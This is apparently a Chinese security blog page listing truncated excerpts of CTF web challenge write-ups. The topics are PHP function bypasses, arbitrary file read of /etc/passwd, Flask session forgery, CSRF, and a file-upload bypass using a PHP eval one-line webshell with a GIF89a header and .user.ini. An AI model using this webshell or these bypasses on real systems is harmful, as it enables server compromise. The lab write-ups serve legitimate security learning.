intval函数绕过$num="3e3"; if(intval($num) < 2020 && intval($num + 1) > 2021) { echo "yes"; } else { echo "no"; }basename函数绕过1. 函数作用basename() 函数返回路径中的文件名部分。$path="/www/index.php"; echo basename($path)."<br />"; //output: index.php echo basename($path,".php")."<br />"; //output: index2. 函数漏洞在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。例如:$path1="/www/%ffindex.php"; echo basename($path1).&q
一、漏洞点发现进入靶场,发现存在一个表单,可以向page页面用GET请求方式发送一个名为url的参数,当你输入一个URL时会给你返回一个后缀为.jpg但内容为你的目标URL文件。<!doctype html> <html> <head> <title>test</title> </head> <body> <form action="/page" method="get"> <input type="text" name="url"/> </form> </body> </html>经过测试,url参数存在任意文件读取漏洞:访问/page?url=/etc/passwd:HTTP/1.1 200 OK Server: openresty Date: Wed, 12 Jun 2024 06:32:57 GMT Con
背景知识FlaskFlask作为Python语言中最为轻量的Web框架, 由于其核心内容的简洁以及良好的可拓展性, 一直受到广泛的开发者所喜爱。由于是轻量级的Web框架,使得Flask的Session机制是使用JWT保存在客户端的,当我们得知flask的SECRET_KEY即可进行Session的伪造。JSON Web Token(JWT)JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:Header,存放签名算法Payload,存放数据Signature,存放签名值因此,一个典型的JWT看起来是这个样子的:xxxxx.yyyyy.zzzzz因为使用了base64编码,这个字符串通常以eyJ开头。Flask的JWT实现与标准JWT略有不同。Flask Session 的组成结构主要由三部分构成:第一部分为Session Data ,即会话数据。第二部分为T
信息收集访问题目地址,随便注册一个账户,进行收集信息。注意到报告界面提到账户出现了部门的转账记录,猜测存在CSRF漏洞,进行实验验证。注册两个账户a、b,由a向b转账,观察转账报文。POST /transfer.php HTTP/1.1 Host: 5542a522-d42b-45f5-a55b-0cb2caf84f34.node4.buuoj.cn:81 Content-Length: 330 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbs6qfHEFgXXAlbr Cookie: PHPSESSID=4dc50fad5f8cfea10217f51d7c06cc15 Connection: close ------WebKitFormBoundarycbs6qfHEFgXXAlbr Content-Disposition: form-data; name="target" b ------WebKitFormBoundarycbs6qfHEFgXXAlbr Conten
信息收集打开题目,发现文件上传位置,猜测考点为文件上传。尝试上传一句话木马1.php。不允许的后缀,经过测试其他绕过后缀也无法上传。图片头检测,在一句话前加上GIF89a。PHP标签检测,使用<script language="php">@eval($_POST[cmd]);</script>作为一句话木马。成功上传,但是由于后缀为png无法调用PHP引擎进行解析。考虑使用.user.ini进行绕过。.user.ini.user.ini这个文件在PHP 5.3.0被加入到PHP中,他的作用类似Apache中的.htaccsee文件,其中两个有趣的设置:auto_prepend_file和auto_append_file我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置
Equinox
一个乐于分享的网安人